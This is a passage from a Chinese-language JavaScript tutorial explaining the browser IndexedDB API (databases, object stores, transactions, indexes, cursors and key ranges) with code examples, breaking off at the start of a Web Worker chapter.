  • 操作请求:IDBRequest 对象
  • 指针: IDBCursor 对象
  • 主键集合:IDBKeyRange 对象

下面是一些主要的概念。

(1)数据库

数据库是一系列相关数据的容器。每个域名(严格的说,是协议 + 域名 + 端口)都可以新建任意多个数据库。

IndexedDB 数据库有版本的概念。同一个时刻,只能有一个版本的数据库存在。如果要修改数据库结构(新增或删除表、索引或者主键),只能通过升级数据库版本完成。

(2)对象仓库

每个数据库包含若干个对象仓库(object store)。它类似于关系型数据库的表格。

(3)数据记录

对象仓库保存的是数据记录。每条记录类似于关系型数据库的行,但是只有主键和数据体两部分。主键用来建立默认的索引,必须是不同的,否则会报错。主键可以是数据记录里面的一个属性,也可以指定为一个递增的整数编号。

{ id: 1, text: 'foo' }

上面的对象中,id属性可以当作主键。

数据体可以是任意数据类型,不限于对象。

(4)索引

为了加速数据的检索,可以在对象仓库里面,为不同的属性建立索引。

(5)事务

数据记录的读写和删改,都要通过事务完成。事务对象提供errorabortcomplete三个事件,用来监听操作结果。

操作流程

IndexedDB 数据库的各种操作,一般是按照下面的流程进行的。这个部分只给出简单的代码示例,用于快速上手,详细的各个对象的 API 放在后文介绍。

打开数据库

使用 IndexedDB 的第一步是打开数据库,使用indexedDB.open()方法。

var request = window.indexedDB.open(databaseName, version);

这个方法接受两个参数,第一个参数是字符串,表示数据库的名字。如果指定的数据库不存在,就会新建数据库。第二个参数是整数,表示数据库的版本。如果省略,打开已有数据库时,默认为当前版本;新建数据库时,默认为1

indexedDB.open()方法返回一个 IDBRequest 对象。这个对象通过三种事件errorsuccessupgradeneeded,处理打开数据库的操作结果。

(1)error 事件

error事件表示打开数据库失败。

request.onerror = function (event) {
  console.log('数据库打开报错');
};

(2)success 事件

success事件表示成功打开数据库。

var db;

request.onsuccess = function (event) {
  db = request.result;
  console.log('数据库打开成功');
};

这时,通过request对象的result属性拿到数据库对象。

(3)upgradeneeded 事件

如果指定的版本号,大于数据库的实际版本号,就会发生数据库升级事件upgradeneeded

var db;

request.onupgradeneeded = function (event) {
  db = event.target.result;
}

这时通过事件对象的target.result属性,拿到数据库实例。

新建数据库

新建数据库与打开数据库是同一个操作。如果指定的数据库不存在,就会新建。不同之处在于,后续的操作主要在upgradeneeded事件的监听函数里面完成,因为这时版本从无到有,所以会触发这个事件。

通常,新建数据库以后,第一件事是新建对象仓库(即新建表)。

request.onupgradeneeded = function(event) {
  db = event.target.result;
  var objectStore = db.createObjectStore('person', { keyPath: 'id' });
}

上面代码中,数据库新建成功以后,新增一张叫做person的表格,主键是id

更好的写法是先判断一下,这张表格是否存在,如果不存在再新建。

request.onupgradeneeded = function (event) {
  db = event.target.result;
  var objectStore;
  if (!db.objectStoreNames.contains('person')) {
    objectStore = db.createObjectStore('person', { keyPath: 'id' });
  }
}

主键(key)是默认建立索引的属性。比如,数据记录是{ id: 1, name: '张三' },那么id属性可以作为主键。主键也可以指定为下一层对象的属性,比如{ foo: { bar: 'baz' } }foo.bar也可以指定为主键。

如果数据记录里面没有合适作为主键的属性,那么可以让 IndexedDB 自动生成主键。

var objectStore = db.createObjectStore(
  'person',
  { autoIncrement: true }
);

上面代码中,指定主键为一个递增的整数。

新建对象仓库以后,下一步可以新建索引。

request.onupgradeneeded = function(event) {
  db = event.target.result;
  var objectStore = db.createObjectStore('person', { keyPath: 'id' });
  objectStore.createIndex('name', 'name', { unique: false });
  objectStore.createIndex('email', 'email', { unique: true });
}

上面代码中,IDBObject.createIndex()的三个参数分别为索引名称、索引所在的属性、配置对象(说明该属性是否包含重复的值)。

新增数据

新增数据指的是向对象仓库写入数据记录。这需要通过事务完成。

function add() {
  var request = db.transaction(['person'], 'readwrite')
    .objectStore('person')
    .add({ id: 1, name: '张三', age: 24, email: 'zhangsan@example.com' });

  request.onsuccess = function (event) {
    console.log('数据写入成功');
  };

  request.onerror = function (event) {
    console.log('数据写入失败');
  }
}

add();

上面代码中,写入数据需要新建一个事务。新建时必须指定表格名称和操作模式(“只读”或“读写”)。新建事务以后,通过IDBTransaction.objectStore(name)方法,拿到 IDBObjectStore 对象,再通过表格对象的add()方法,向表格写入一条记录。

写入操作是一个异步操作,通过监听连接对象的success事件和error事件,了解是否写入成功。

读取数据

读取数据也是通过事务完成。

function read() {
   var transaction = db.transaction(['person']);
   var objectStore = transaction.objectStore('person');
   var request = objectStore.get(1);

   request.onerror = function(event) {
     console.log('事务失败');
   };

   request.onsuccess = function( event) {
      if (request.result) {
        console.log('Name: ' + request.result.name);
        console.log('Age: ' + request.result.age);
        console.log('Email: ' + request.result.email);
      } else {
        console.log('未获得数据记录');
      }
   };
}

read();

上面代码中,objectStore.get()方法用于读取数据,参数是主键的值。

遍历数据

遍历数据表格的所有记录,要使用指针对象 IDBCursor。

function readAll() {
  var objectStore = db.transaction('person').objectStore('person');

   objectStore.openCursor().onsuccess = function (event) {
     var cursor = event.target.result;

     if (cursor) {
       console.log('Id: ' + cursor.key);
       console.log('Name: ' + cursor.value.name);
       console.log('Age: ' + cursor.value.age);
       console.log('Email: ' + cursor.value.email);
       cursor.continue();
    } else {
      console.log('没有更多数据了!');
    }
  };
}

readAll();

上面代码中,新建指针对象的openCursor()方法是一个异步操作,所以要监听success事件。

更新数据

更新数据要使用IDBObject.put()方法。

function update() {
  var request = db.transaction(['person'], 'readwrite')
    .objectStore('person')
    .put({ id: 1, name: '李四', age: 35, email: 'lisi@example.com' });

  request.onsuccess = function (event) {
    console.log('数据更新成功');
  };

  request.onerror = function (event) {
    console.log('数据更新失败');
  }
}

update();

上面代码中,put()方法自动更新了主键为1的记录。

删除数据

IDBObjectStore.delete()方法用于删除记录。

function remove() {
  var request = db.transaction(['person'], 'readwrite')
    .objectStore('person')
    .delete(1);

  request.onsuccess = function (event) {
    console.log('数据删除成功');
  };
}

remove();

使用索引

索引的意义在于,可以让你搜索任意字段,也就是说从任意字段拿到数据记录。如果不建立索引,默认只能搜索主键(即从主键取值)。

假定新建表格的时候,对name字段建立了索引。

objectStore.createIndex('name', 'name', { unique: false });

现在,就可以从name找到对应的数据记录了。

var transaction = db.transaction(['person'], 'readonly');
var store = transaction.objectStore('person');
var index = store.index('name');
var request = index.get('李四');

request.onsuccess = function (e) {
  var result = e.target.result;
  if (result) {
    // ...
  } else {
    // ...
  }
}

indexedDB 对象

浏览器原生提供indexedDB对象,作为开发者的操作接口。

indexedDB.open()

indexedDB.open()方法用于打开数据库。这是一个异步操作,但是会立刻返回一个 IDBOpenDBRequest 对象。

var openRequest = window.indexedDB.open('test', 1);

上面代码表示,打开一个名为test、版本为1的数据库。如果该数据库不存在,则会新建该数据库。

open()方法的第一个参数是数据库名称,格式为字符串,不可省略;第二个参数是数据库版本,是一个大于0的正整数(0将报错),如果该参数大于当前版本,会触发数据库升级。第二个参数可省略,如果数据库已存在,将打开当前版本的数据库;如果数据库不存在,将创建该版本的数据库,默认版本为1

打开数据库是异步操作,通过各种事件通知客户端。下面是有可能触发的4种事件。

  • success:打开成功。
  • error:打开失败。
  • upgradeneeded:第一次打开该数据库,或者数据库版本发生变化。
  • blocked:上一次的数据库连接还未关闭。

第一次打开数据库时,会先触发upgradeneeded事件,然后触发success事件。

根据不同的需要,对上面4种事件监听函数。

var openRequest = indexedDB.open('test', 1);
var db;

openRequest.onupgradeneeded = function (e) {
  console.log('Upgrading...');
}

openRequest.onsuccess = function (e) {
  console.log('Success!');
  db = openRequest.result;
}

openRequest.onerror = function (e) {
  console.log('Error');
  console.log(e);
}

上面代码有两个地方需要注意。首先,open()方法返回的是一个对象(IDBOpenDBRequest),监听函数就定义在这个对象上面。其次,success事件发生后,从openRequest.result属性可以拿到已经打开的IndexedDB数据库对象。

indexedDB.deleteDatabase()

indexedDB.deleteDatabase()方法用于删除一个数据库,参数为数据库的名字。它会立刻返回一个IDBOpenDBRequest对象,然后对数据库执行异步删除。删除操作的结果会通过事件通知,IDBOpenDBRequest对象可以监听以下事件。

  • success:删除成功
  • error:删除报错
var DBDeleteRequest = window.indexedDB.deleteDatabase('demo');

DBDeleteRequest.onerror = function (event) {
  console.log('Error');
};

DBDeleteRequest.onsuccess = function (event) {
  console.log('success');
};

调用deleteDatabase()方法以后,当前数据库的其他已经打开的连接都会接收到versionchange事件。

注意,删除不存在的数据库并不会报错。

indexedDB.cmp()

indexedDB.cmp()方法比较两个值是否为 indexedDB 的相同的主键。它返回一个整数,表示比较的结果:0表示相同,1表示第一个主键大于第二个主键,-1表示第一个主键小于第二个主键。

window.indexedDB.cmp(1, 2) // -1

注意,这个方法不能用来比较任意的 JavaScript 值。如果参数是布尔值或对象,它会报错。

window.indexedDB.cmp(1, true) // 报错
window.indexedDB.cmp({}, {}) // 报错

IDBRequest 对象

IDBRequest 对象表示打开的数据库连接,indexedDB.open()方法和indexedDB.deleteDatabase()方法会返回这个对象。数据库的操作都是通过这个对象完成的。

这个对象的所有操作都是异步操作,要通过readyState属性判断是否完成,如果为pending就表示操作正在进行,如果为done就表示操作完成,可能成功也可能失败。

操作完成以后,触发success事件或error事件,这时可以通过result属性和error属性拿到操作结果。如果在pending阶段,就去读取这两个属性,是会报错的。

IDBRequest 对象有以下属性。

  • IDBRequest.readyState:等于pending表示操作正在进行,等于done表示操作正在完成。
  • IDBRequest.result:返回请求的结果。如果请求失败、结果不可用,读取该属性会报错。
  • IDBRequest.error:请求失败时,返回错误对象。
  • IDBRequest.source:返回请求的来源(比如索引对象或 ObjectStore)。
  • IDBRequest.transaction:返回当前请求正在进行的事务,如果不包含事务,返回null
  • IDBRequest.onsuccess:指定success事件的监听函数。
  • IDBRequest.onerror:指定error事件的监听函数。

IDBOpenDBRequest 对象继承了 IDBRequest 对象,提供了两个额外的事件监听属性。

  • IDBOpenDBRequest.onblocked:指定blocked事件(upgradeneeded事件触发时,数据库仍然在使用)的监听函数。
  • IDBOpenDBRequest.onupgradeneededupgradeneeded事件的监听函数。

IDBDatabase 对象

打开数据成功以后,可以从IDBOpenDBRequest对象的result属性上面,拿到一个IDBDatabase对象,它表示连接的数据库。后面对数据库的操作,都通过这个对象完成。

var db;
var DBOpenRequest = window.indexedDB.open('demo', 1);

DBOpenRequest.onerror = function (event) {
  console.log('Error');
};

DBOpenRequest.onsuccess = function(event) {
  db = DBOpenRequest.result;
  // ...
};

属性

IDBDatabase 对象有以下属性。

  • IDBDatabase.name:字符串,数据库名称。
  • IDBDatabase.version:整数,数据库版本。数据库第一次创建时,该属性为空字符串。
  • IDBDatabase.objectStoreNames:DOMStringList 对象(字符串的集合),包含当前数据的所有 object store 的名字。
  • IDBDatabase.onabort:指定 abort 事件(事务中止)的监听函数。
  • IDBDatabase.onclose:指定 close 事件(数据库意外关闭)的监听函数。
  • IDBDatabase.onerror:指定 error 事件(访问数据库失败)的监听函数。
  • IDBDatabase.onversionchange:数据库版本变化时触发(发生upgradeneeded事件,或调用indexedDB.deleteDatabase())。

下面是objectStoreNames属性的例子。该属性返回一个 DOMStringList 对象,包含了当前数据库所有对象仓库的名称(即表名),可以使用 DOMStringList 对象的contains方法,检查数据库是否包含某个对象仓库。

if (!db.objectStoreNames.contains('firstOS')) {
  db.createObjectStore('firstOS');
}

上面代码先判断某个对象仓库是否存在,如果不存在就创建该对象仓库。

方法

IDBDatabase 对象有以下方法。

  • IDBDatabase.close():关闭数据库连接,实际会等所有事务完成后再关闭。
  • IDBDatabase.createObjectStore():创建存放数据的对象仓库,类似于传统关系型数据库的表格,返回一个 IDBObjectStore 对象。该方法只能在versionchange事件监听函数中调用。
  • IDBDatabase.deleteObjectStore():删除指定的对象仓库。该方法只能在versionchange事件监听函数中调用。
  • IDBDatabase.transaction():返回一个 IDBTransaction 事务对象。

下面是createObjectStore()方法的例子。

var request = window.indexedDB.open('demo', 2);

request.onupgradeneeded = function (event) {
  var db = event.target.result;

  db.onerror = function(event) {
    console.log('error');
  };

  var objectStore = db.createObjectStore('items');

  // ...
};

上面代码创建了一个名为items的对象仓库,如果该对象仓库已经存在,就会抛出一个错误。为了避免出错,需要用到下文的objectStoreNames属性,检查已有哪些对象仓库。

createObjectStore()方法还可以接受第二个对象参数,用来设置对象仓库的属性。

db.createObjectStore('test', { keyPath: 'email' });
db.createObjectStore('test2', { autoIncrement: true });

上面代码中,keyPath属性表示主键(由于主键的值不能重复,所以上例存入之前,必须保证数据的email属性值都是不一样的),默认值为nullautoIncrement属性表示,是否使用自动递增的整数作为主键(第一个数据记录为1,第二个数据记录为2,以此类推),默认为false。一般来说,keyPathautoIncrement属性只要使用一个就够了,如果两个同时使用,表示主键为递增的整数,且对象不得缺少keyPath指定的属性。

下面是deleteObjectStore()方法的例子。

var dbName = 'sampleDB';
var dbVersion = 2;
var request = indexedDB.open(dbName, dbVersion);

request.onupgradeneeded = function(e) {
  var db = request.result;
  if (e.oldVersion < 1) {
    db.createObjectStore('store1');
  }

  if (e.oldVersion < 2) {
    db.deleteObjectStore('store1');
    db.createObjectStore('store2');
  }

  // ...
};

下面是transaction()方法的例子,该方法用于创建一个数据库事务,返回一个 IDBTransaction 对象。向数据库添加数据之前,必须先创建数据库事务。

var t = db.transaction(['items'], 'readwrite');

transaction()方法接受两个参数:第一个参数是一个数组,里面是所涉及的对象仓库,通常是只有一个;第二个参数是一个表示操作类型的字符串。目前,操作类型只有两种:readonly(只读)和readwrite(读写)。添加数据使用readwrite,读取数据使用readonly。第二个参数是可选的,省略时默认为readonly模式。

IDBObjectStore 对象

IDBObjectStore 对象对应一个对象仓库(object store)。IDBDatabase.createObjectStore()方法返回的就是一个 IDBObjectStore 对象。

IDBDatabase 对象的transaction()返回一个事务对象,该对象的objectStore()方法返回 IDBObjectStore 对象,因此可以采用下面的链式写法。

db.transaction(['test'], 'readonly')
  .objectStore('test')
  .get(X)
  .onsuccess = function (e) {}

属性

IDBObjectStore 对象有以下属性。

  • IDBObjectStore.indexNames:返回一个类似数组的对象(DOMStringList),包含了当前对象仓库的所有索引。
  • IDBObjectStore.keyPath:返回当前对象仓库的主键。
  • IDBObjectStore.name:返回当前对象仓库的名称。
  • IDBObjectStore.transaction:返回当前对象仓库所属的事务对象。
  • IDBObjectStore.autoIncrement:布尔值,表示主键是否会自动递增。

方法

IDBObjectStore 对象有以下方法。

(1)IDBObjectStore.add()

IDBObjectStore.add()用于向对象仓库添加数据,返回一个 IDBRequest 对象。该方法只用于添加数据,如果主键相同会报错,因此更新数据必须使用put()方法。

objectStore.add(value, key)

该方法接受两个参数,第一个参数是键值,第二个参数是主键,该参数可选,如果省略默认为null

创建事务以后,就可以获取对象仓库,然后使用add()方法往里面添加数据了。

var db;
var DBOpenRequest = window.indexedDB.open('demo', 1);

DBOpenRequest.onsuccess = function (event) {
  db = DBOpenRequest.result;
  var transaction = db.transaction(['items'], 'readwrite');

  transaction.oncomplete = function (event) {
    console.log('transaction success');
  };

  transaction.onerror = function (event) {
    console.log('transaction error: ' + transaction.error);
  };

  var objectStore = transaction.objectStore('items');
  var objectStoreRequest = objectStore.add({ foo: 1 });

  objectStoreRequest.onsuccess = function (event) {
    console.log('add data success');
  };

};

(2)IDBObjectStore.put()

IDBObjectStore.put()方法用于更新某个主键对应的数据记录,如果对应的键值不存在,则插入一条新的记录。该方法返回一个 IDBRequest 对象。

objectStore.put(item, key)

该方法接受两个参数,第一个参数为新数据,第二个参数为主键,该参数可选,且只在自动递增时才有必要提供,因为那时主键不包含在数据值里面。

(3)IDBObjectStore.clear()

IDBObjectStore.clear()删除当前对象仓库的所有记录。该方法返回一个 IDBRequest 对象。

objectStore.clear()

该方法不需要参数。

(4)IDBObjectStore.delete()

IDBObjectStore.delete()方法用于删除指定主键的记录。该方法返回一个 IDBRequest 对象。

objectStore.delete(Key)

该方法的参数为主键的值。

(5)IDBObjectStore.count()

IDBObjectStore.count()方法用于计算记录的数量。该方法返回一个 IDBRequest 对象。

IDBObjectStore.count(key)

不带参数时,该方法返回当前对象仓库的所有记录数量。如果主键或 IDBKeyRange 对象作为参数,则返回对应的记录数量。

(6)IDBObjectStore.getKey()

IDBObjectStore.getKey()用于获取主键。该方法返回一个 IDBRequest 对象。

objectStore.getKey(key)

该方法的参数可以是主键值或 IDBKeyRange 对象。

(7)IDBObjectStore.get()

IDBObjectStore.get()用于获取主键对应的数据记录。该方法返回一个 IDBRequest 对象。

objectStore.get(key)

(8)IDBObjectStore.getAll()

DBObjectStore.getAll()用于获取对象仓库的记录。该方法返回一个 IDBRequest 对象。

// 获取所有记录
objectStore.getAll()

// 获取所有符合指定主键或 IDBKeyRange 的记录
objectStore.getAll(query)

// 指定获取记录的数量
objectStore.getAll(query, count)

(9)IDBObjectStore.getAllKeys()

IDBObjectStore.getAllKeys()用于获取所有符合条件的主键。该方法返回一个 IDBRequest 对象。

// 获取所有记录的主键
objectStore.getAllKeys()

// 获取所有符合条件的主键
objectStore.getAllKeys(query)

// 指定获取主键的数量
objectStore.getAllKeys(query, count)

(10)IDBObjectStore.index()

IDBObjectStore.index()方法返回指定名称的索引对象 IDBIndex。

objectStore.index(name)

有了索引以后,就可以针对索引所在的属性读取数据。

var t = db.transaction(['people'], 'readonly');
var store = t.objectStore('people');
var index = store.index('name');

var request = index.get('foo');

上面代码打开对象仓库以后,先用index()方法指定获取name属性的索引,然后用get()方法读取某个name属性(foo)对应的数据。如果name属性不是对应唯一值,这时get()方法有可能取回多个数据对象。另外,get()是异步方法,读取成功以后,只能在success事件的监听函数中处理数据。

(11)IDBObjectStore.createIndex()

IDBObjectStore.createIndex()方法用于新建当前数据库的一个索引。该方法只能在VersionChange监听函数里面调用。

objectStore.createIndex(indexName, keyPath, objectParameters)

该方法可以接受三个参数。

  • indexName:索引名
  • keyPath:主键
  • objectParameters:配置对象(可选)

第三个参数可以配置以下属性。

  • unique:如果设为true,将不允许重复的值
  • multiEntry:如果设为true,对于有多个值的主键数组,每个值将在索引里面新建一个条目,否则主键数组对应一个条目。

假定对象仓库中的数据记录都是如下的person类型。

var person = {
  name: name,
  email: email,
  created: new Date()
};

可以指定这个对象的某个属性来建立索引。

var store = db.createObjectStore('people', { autoIncrement: true });

store.createIndex('name', 'name', { unique: false });
store.createIndex('email', 'email', { unique: true });

上面代码告诉索引对象,name属性不是唯一值,email属性是唯一值。

(12)IDBObjectStore.deleteIndex()

IDBObjectStore.deleteIndex()方法用于删除指定的索引。该方法只能在VersionChange监听函数里面调用。

objectStore.deleteIndex(indexName)

(13)IDBObjectStore.openCursor()

IDBObjectStore.openCursor()用于获取一个指针对象。

IDBObjectStore.openCursor()

指针对象可以用来遍历数据。该对象也是异步的,有自己的successerror事件,可以对它们指定监听函数。

var t = db.transaction(['test'], 'readonly');
var store = t.objectStore('test');

var cursor = store.openCursor();

cursor.onsuccess = function (event) {
  var res = event.target.result;
  if (res) {
    console.log('Key', res.key);
    console.dir('Data', res.value);
    res.continue();
  }
}

监听函数接受一个事件对象作为参数,该对象的target.result属性指向当前数据记录。该记录的keyvalue分别返回主键和键值(即实际存入的数据)。continue()方法将光标移到下一个数据对象,如果当前数据对象已经是最后一个数据了,则光标指向null

openCursor()方法的第一个参数是主键值,或者一个 IDBKeyRange 对象。如果指定该参数,将只处理包含指定主键的记录;如果省略,将处理所有的记录。该方法还可以接受第二个参数,表示遍历方向,默认值为next,其他可能的值为prevnextuniqueprevunique。后两个值表示如果遇到重复值,会自动跳过。

(14)IDBObjectStore.openKeyCursor()

IDBObjectStore.openKeyCursor()用于获取一个主键指针对象。

IDBObjectStore.openKeyCursor()

IDBTransaction 对象

IDBTransaction 对象用来异步操作数据库事务,所有的读写操作都要通过这个对象进行。

IDBDatabase.transaction()方法返回的就是一个 IDBTransaction 对象。

var db;
var DBOpenRequest = window.indexedDB.open('demo', 1);

DBOpenRequest.onsuccess = function(event) {
  db = DBOpenRequest.result;
  var transaction = db.transaction(['demo'], 'readwrite');

  transaction.oncomplete = function (event) {
    console.log('transaction success');
  };

  transaction.onerror = function (event) {
    console.log('transaction error: ' + transaction.error);
  };

  var objectStore = transaction.objectStore('demo');
  var objectStoreRequest = objectStore.add({ foo: 1 });

  objectStoreRequest.onsuccess = function (event) {
    console.log('add data success');
  };

};

事务的执行顺序是按照创建的顺序,而不是发出请求的顺序。

var trans1 = db.transaction('foo', 'readwrite');
var trans2 = db.transaction('foo', 'readwrite');
var objectStore2 = trans2.objectStore('foo')
var objectStore1 = trans1.objectStore('foo')
objectStore2.put('2', 'key');
objectStore1.put('1', 'key');

上面代码中,key对应的键值最终是2,而不是1。因为事务trans1先于trans2创建,所以首先执行。

注意,事务有可能失败,只有监听到事务的complete事件,才能保证事务操作成功。

IDBTransaction 对象有以下属性。

  • IDBTransaction.db:返回当前事务所在的数据库对象 IDBDatabase。
  • IDBTransaction.error:返回当前事务的错误。如果事务没有结束,或者事务成功结束,或者被手动终止,该方法返回null
  • IDBTransaction.mode:返回当前事务的模式,默认是readonly(只读),另一个值是readwrite
  • IDBTransaction.objectStoreNames:返回一个类似数组的对象 DOMStringList,成员是当前事务涉及的对象仓库的名字。
  • IDBTransaction.onabort:指定abort事件(事务中断)的监听函数。
  • IDBTransaction.oncomplete:指定complete事件(事务成功)的监听函数。
  • IDBTransaction.onerror:指定error事件(事务失败)的监听函数。

IDBTransaction 对象有以下方法。

  • IDBTransaction.abort():终止当前事务,回滚所有已经进行的变更。
  • IDBTransaction.objectStore(name):返回指定名称的对象仓库 IDBObjectStore。

IDBIndex 对象

IDBIndex 对象代表数据库的索引,通过这个对象可以获取数据库里面的记录。数据记录的主键默认就是带有索引,IDBIndex 对象主要用于通过除主键以外的其他键,建立索引获取对象。

IDBIndex 是持久性的键值对存储。只要插入、更新或删除数据记录,引用的对象库中的记录,索引就会自动更新。

IDBObjectStore.index()方法可以获取 IDBIndex 对象。

var transaction = db.transaction(['contactsList'], 'readonly');
var objectStore = transaction.objectStore('contactsList');
var myIndex = objectStore.index('lName');

myIndex.openCursor().onsuccess = function (event) {
  var cursor = event.target.result;
  if (cursor) {
    var tableRow = document.createElement('tr');
    tableRow.innerHTML =   '<td>' + cursor.value.id + '</td>'
                         + '<td>' + cursor.value.lName + '</td>'
                         + '<td>' + cursor.value.fName + '</td>'
                         + '<td>' + cursor.value.jTitle + '</td>'
                         + '<td>' + cursor.value.company + '</td>'
                         + '<td>' + cursor.value.eMail + '</td>'
                         + '<td>' + cursor.value.phone + '</td>'
                         + '<td>' + cursor.value.age + '</td>';
    tableEntry.appendChild(tableRow);

    cursor.continue();
  } else {
    console.log('Entries all displayed.');
  }
};

IDBIndex 对象有以下属性。

  • IDBIndex.name:字符串,索引的名称。
  • IDBIndex.objectStore:索引所在的对象仓库。
  • IDBIndex.keyPath:索引的主键。
  • IDBIndex.multiEntry:布尔值,针对keyPath为数组的情况,如果设为true,创建数组时,每个数组成员都会有一个条目,否则每个数组都只有一个条目。
  • IDBIndex.unique:布尔值,表示创建索引时是否允许相同的主键。

IDBIndex 对象有以下方法,它们都是异步的,立即返回的都是一个 IDBRequest 对象。

  • IDBIndex.count():用来获取记录的数量。它可以接受主键或 IDBKeyRange 对象作为参数,这时只返回符合主键的记录数量,否则返回所有记录的数量。
  • IDBIndex.get(key):用来获取符合指定主键的数据记录。
  • IDBIndex.getKey(key):用来获取指定的主键。
  • IDBIndex.getAll():用来获取所有的数据记录。它可以接受两个参数,都是可选的,第一个参数用来指定主键,第二个参数用来指定返回记录的数量。如果省略这两个参数,则返回所有记录。由于获取成功时,浏览器必须生成所有对象,所以对性能有影响。如果数据集比较大,建议使用 IDBCursor 对象。
  • IDBIndex.getAllKeys():该方法与IDBIndex.getAll()方法相似,区别是获取所有主键。
  • IDBIndex.openCursor():用来获取一个 IDBCursor 对象,用来遍历索引里面的所有条目。
  • IDBIndex.openKeyCursor():该方法与IDBIndex.openCursor()方法相似,区别是遍历所有条目的主键。

IDBCursor 对象

IDBCursor 对象代表指针对象,用来遍历数据仓库(IDBObjectStore)或索引(IDBIndex)的记录。

IDBCursor 对象一般通过IDBObjectStore.openCursor()方法获得。

var transaction = db.transaction(['rushAlbumList'], 'readonly');
var objectStore = transaction.objectStore('rushAlbumList');

objectStore.openCursor(null, 'next').onsuccess = function(event) {
  var cursor = event.target.result;
  if (cursor) {
    var listItem = document.createElement('li');
    listItem.innerHTML = cursor.value.albumTitle + ', ' + cursor.value.year;
    list.appendChild(listItem);

    console.log(cursor.source);
    cursor.continue();
  } else {
    console.log('Entries all displayed.');
  }
};

IDBCursor 对象的属性。

  • IDBCursor.source:返回正在遍历的对象仓库或索引。
  • IDBCursor.direction:字符串,表示指针遍历的方向。共有四个可能的值:next(从头开始向后遍历)、nextunique(从头开始向后遍历,重复的值只遍历一次)、prev(从尾部开始向前遍历)、prevunique(从尾部开始向前遍历,重复的值只遍历一次)。该属性通过IDBObjectStore.openCursor()方法的第二个参数指定,一旦指定就不能改变了。
  • IDBCursor.key:返回当前记录的主键。
  • IDBCursor.value:返回当前记录的数据值。
  • IDBCursor.primaryKey:返回当前记录的主键。对于数据仓库(objectStore)来说,这个属性等同于 IDBCursor.key;对于索引,IDBCursor.key 返回索引的位置值,该属性返回数据记录的主键。

IDBCursor 对象有如下方法。

  • IDBCursor.advance(n):指针向前移动 n 个位置。
  • IDBCursor.continue():指针向前移动一个位置。它可以接受一个主键作为参数,这时会跳转到这个主键。
  • IDBCursor.continuePrimaryKey():该方法需要两个参数,第一个是key,第二个是primaryKey,将指针移到符合这两个参数的位置。
  • IDBCursor.delete():用来删除当前位置的记录,返回一个 IDBRequest 对象。该方法不会改变指针的位置。
  • IDBCursor.update():用来更新当前位置的记录,返回一个 IDBRequest 对象。它的参数是要写入数据库的新的值。

IDBKeyRange 对象

IDBKeyRange 对象代表数据仓库(object store)里面的一组主键。根据这组主键,可以获取数据仓库或索引里面的一组记录。

IDBKeyRange 可以只包含一个值,也可以指定上限和下限。它有四个静态方法,用来指定主键的范围。

  • IDBKeyRange.lowerBound():指定下限。
  • IDBKeyRange.upperBound():指定上限。
  • IDBKeyRange.bound():同时指定上下限。
  • IDBKeyRange.only():指定只包含一个值。

下面是一些代码实例。

// All keys ≤ x
var r1 = IDBKeyRange.upperBound(x);

// All keys < x
var r2 = IDBKeyRange.upperBound(x, true);

// All keys ≥ y
var r3 = IDBKeyRange.lowerBound(y);

// All keys > y
var r4 = IDBKeyRange.lowerBound(y, true);

// All keys ≥ x && ≤ y
var r5 = IDBKeyRange.bound(x, y);

// All keys > x &&< y
var r6 = IDBKeyRange.bound(x, y, true, true);

// All keys > x && ≤ y
var r7 = IDBKeyRange.bound(x, y, true, false);

// All keys ≥ x &&< y
var r8 = IDBKeyRange.bound(x, y, false, true);

// The key = z
var r9 = IDBKeyRange.only(z);

IDBKeyRange.lowerBound()IDBKeyRange.upperBound()IDBKeyRange.bound()这三个方法默认包括端点值,可以传入一个布尔值,修改这个属性。

与之对应,IDBKeyRange 对象有四个只读属性。

  • IDBKeyRange.lower:返回下限
  • IDBKeyRange.lowerOpen:布尔值,表示下限是否为开区间(即下限是否排除在范围之外)
  • IDBKeyRange.upper:返回上限
  • IDBKeyRange.upperOpen:布尔值,表示上限是否为开区间(即上限是否排除在范围之外)

IDBKeyRange 实例对象生成以后,将它作为参数输入 IDBObjectStore 或 IDBIndex 对象的openCursor()方法,就可以在所设定的范围内读取数据。

var t = db.transaction(['people'], 'readonly');
var store = t.objectStore('people');
var index = store.index('name');

var range = IDBKeyRange.bound('B', 'D');

index.openCursor(range).onsuccess = function (e) {
  var cursor = e.target.result;
  if (cursor) {
    console.log(cursor.key + ':');

    for (var field in cursor.value) {
      console.log(cursor.value[field]);
    }
    cursor.continue();
  }
}

IDBKeyRange 有一个实例方法includes(key),返回一个布尔值,表示某个主键是否包含在当前这个主键组之内。

var keyRangeValue = IDBKeyRange.bound('A', 'K', false, false);

keyRangeValue.includes('F') // true
keyRangeValue.includes('W') // false

参考链接

Web Worker

概述

JavaScript 语言采用的是单线程模型,也就是说,所有任务只能在一个线程上完成,一次只能做一件事。前面的任务没做完,后面的任务只能等着。随着电脑计算能力的增强,尤其是多核 CPU 的出现,单线程带来很大的不便,无法充分发挥计算机的计算能力。

Web Worker 的作用,就是为 JavaScript 创造多线程环境,允许主线程创建 Worker 线程,将一些任务分配给后者运行。在主线程运行的同时,Worker 线程在后台运行,两者互不干扰。等到 Worker 线程完成计算任务,再把结果返回给主线程。这样的好处是,一些计算密集型或高延迟的任务可以交由 Worker 线程执行,主线程(通常负责 UI 交互)能够保持流畅,不会被阻塞或拖慢。

Worker 线程一旦新建成功,就会始终运行,不会被主线程上的活动(比如用户点击按钮、提交表单)打断。这样有利于随时响应主线程的通信。但是,这也造成了 Worker 比较耗费资源,不应该过度使用,而且一旦使用完毕,就应该关闭。

Web Worker 有以下几个使用注意点。

(1)同源限制

分配给 Worker 线程运行的脚本文件,必须与主线程的脚本文件同源。

(2)DOM 限制

Worker 线程所在的全局对象,与主线程不一样,无法读取主线程所在网页的 DOM 对象,也无法使用documentwindowparent这些对象。但是,Worker 线程可以使用navigator对象和location对象。

(3)全局对象限制

Worker 的全局对象WorkerGlobalScope,不同于网页的全局对象Window,很多接口拿不到。比如,理论上 Worker 线程不能使用console.log,因为标准里面没有提到 Worker 的全局对象存在console接口,只定义了Navigator接口和Location接口。不过,浏览器实际上支持 Worker 线程使用console.log,保险的做法还是不使用这个方法。

(4)通信联系

Worker 线程和主线程不在同一个上下文环境,它们不能直接通信,必须通过消息完成。

(5)脚本限制

Worker 线程不能执行alert()方法和confirm()方法,但可以使用 XMLHttpRequest 对象发出 AJAX 请求。

(6)文件限制

Worker 线程无法读取本地文件,即不能打开本机的文件系统(file://),它所加载的脚本,必须来自网络。

基本用法

主线程

主线程采用new命令,调用Worker()构造函数,新建一个 Worker 线程。

var worker = new Worker('work.js');

